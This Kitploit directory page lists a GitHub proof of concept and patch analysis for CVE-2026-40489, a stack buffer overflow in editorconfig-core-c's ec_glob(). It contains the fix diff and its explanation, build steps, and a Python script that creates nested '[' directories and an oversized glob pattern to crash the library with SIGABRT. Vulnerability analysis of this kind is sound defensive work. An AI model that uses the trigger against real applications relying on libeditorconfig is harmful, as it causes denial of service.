Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40489 — CVE-2026-40489에 대한 개념 증명 및 패치 분석으로, editorconfig-core-c ec_glob()의 스택 버퍼 오버플로우이며, 빌드 단계와 Python 크래시 트리거를 포함합니다. | Kitploit
도구/GitHubGitHub/saretawa/cve-2026-40489
Static AnalysisMemory ForensicsVulnerability AnalysisExploitationBinary Exploitation
GitHubsaretawa/cve-2026-40489

CVE-2026-40489

CVE-2026-40489에 대한 개념 증명 및 패치 분석으로, editorconfig-core-c ec_glob()의 스택 버퍼 오버플로우이며, 빌드 단계와 Python 크래시 트리거를 포함합니다.

저장소 보기
114일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE에 대한 NIST 설명:

editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to 
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application 
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete 
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received 
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains 
an updated fix.

clone both versions:

git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c

# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4

# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8

diff를 수행합니다:

git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c

The diff:

diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
     _Bool                     are_braces_paired = 1;
     UT_array *                nums;     /* number ranges */
     int                       ret = 0;
+    size_t                    pattern_len = strlen(pattern);

-    strcpy(l_pattern, pattern);
+    /* Reject patterns that would overflow l_pattern in the copy below. */
+    if (pattern_len >= sizeof(l_pattern))
+        return -1;
+    memcpy(l_pattern, pattern, pattern_len + 1);
     p_pcre = pcre_str + 1;
     pcre_str_end = pcre_str + 2 * PATTERN_MAX;

이전 코드는 한 줄이었습니다: 

strcpy(l_pattern, pattern);

null 종료 문자를 만날 때까지 바이트를 복사하며, 대상 크기가 얼마인지는 신경 쓰지 않는다. pattern이 8194바이트(2 * PATTERN_MAX)보다 길면 l_pattern의 끝을 넘어 스택에 쓴다.

수정은 세 가지를 한다:

  1. 먼저 측정  무엇이든 복사하기 전에 strlen(pattern)으로 길이를 구한다
  2. 경계 검사  길이가 버퍼 크기 이상이면 복사하는 대신 -1로 중단한다. >=(>가 아님)가 중요한 이유는 null 종료 문자를 위한 공간도 필요하기 때문이다.
  3. strcpy 대신 memcpy 사용  길이를 이미 알고 있으므로 문자열을 다시 스캔할 이유가 없다. memcpy는 정확히 pattern_len + 1바이트를 복사한다(+1은 null 종료 문자를 포함한다).

바이너리를 빌드하고 제대로 동작하는지 확인해 보자:

rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make

PoC:

import os
import subprocess
import shutil

base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
    nested = os.path.join(nested, "[" * 200)

test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")

binary_path = "/tmp/editorconfig"

if os.path.exists(base):
    shutil.rmtree(base)

os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()

# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000

with open(config_file, 'w') as f:
    f.write("root = true\n\n")
    f.write(f"[{glob_pattern}]\n")
    f.write("indent_size = 2\n")

res = subprocess.run([binary_path, test_file], capture_output=True, text=True)

if res.returncode == -6:
    print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
    print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
    print(f"[-] not vulnerable (return code: {res.returncode})")

바이너리는 .txt 파일이 위치한 폴더에서 .editorconfig를 찾고 그로부터 glob 패턴을 읽습니다.

editorconfig /tmp/dummy-config/[[[[[.../test.txt를 실행하면, 바이너리는 파일 이름을 .editorconfig의 glob 패턴과 매칭해야 하며, 이를 위해 /tmp/dummy-config/\[\[\[\[.../**/AAAA...와 같은 전체 패턴을 구성합니다. 전체 파일 경로와 매칭할 수 있도록 glob 앞에 디렉터리 경로를 붙입니다.

[는 glob 문법에서 특정 의미를 가집니다(문자 클래스, 예: [a-z]). 디렉터리 이름에 문자 그대로 [가 포함되어 있으며 이는 glob으로 의도된 것이 아닙니다. 따라서 코드는 각각을 백슬래시로 이스케이프합니다: [ → \[. 이는 "glob이 아닌 리터럴 ["를 의미합니다. editorconfig.c가 이를 자동으로 수행합니다. .editorconfig 파일 경로를 읽을 때 모든 문자를 순회하며 glob 특수 문자가 발견되면 그 앞에 \를 삽입합니다. 이는 경로가 ec_glob()에 도달하기 전에 발생합니다.

경로의 모든 [마다 문자가 하나씩 추가됩니다. 2100자가 약 4200자가 됩니다. 여기에 4000자의 glob을 더하면 이 문자열이 ec_glob()에 전달되며, 이 함수는 strcpy(l_pattern, pattern)을 8194바이트 버퍼에 수행합니다. 8203 > 8194이므로 버퍼를 넘어 씁니다.

FORTIFY_SOURCE가 활성화된 최신 Linux에서는 런타임이 덮어쓰기를 감지하고 SIGABRT(시그널 6)로 프로세스를 종료합니다. Python은 이를 반환 코드 -6으로 인식하며, 반환 코드 -6은 취약함을 의미하고, 0 또는 1 = 패치됨(수정 사항은 복사 전에 길이 검사를 추가하고 너무 길면 -1을 반환함)을 의미합니다.

도구 다운로드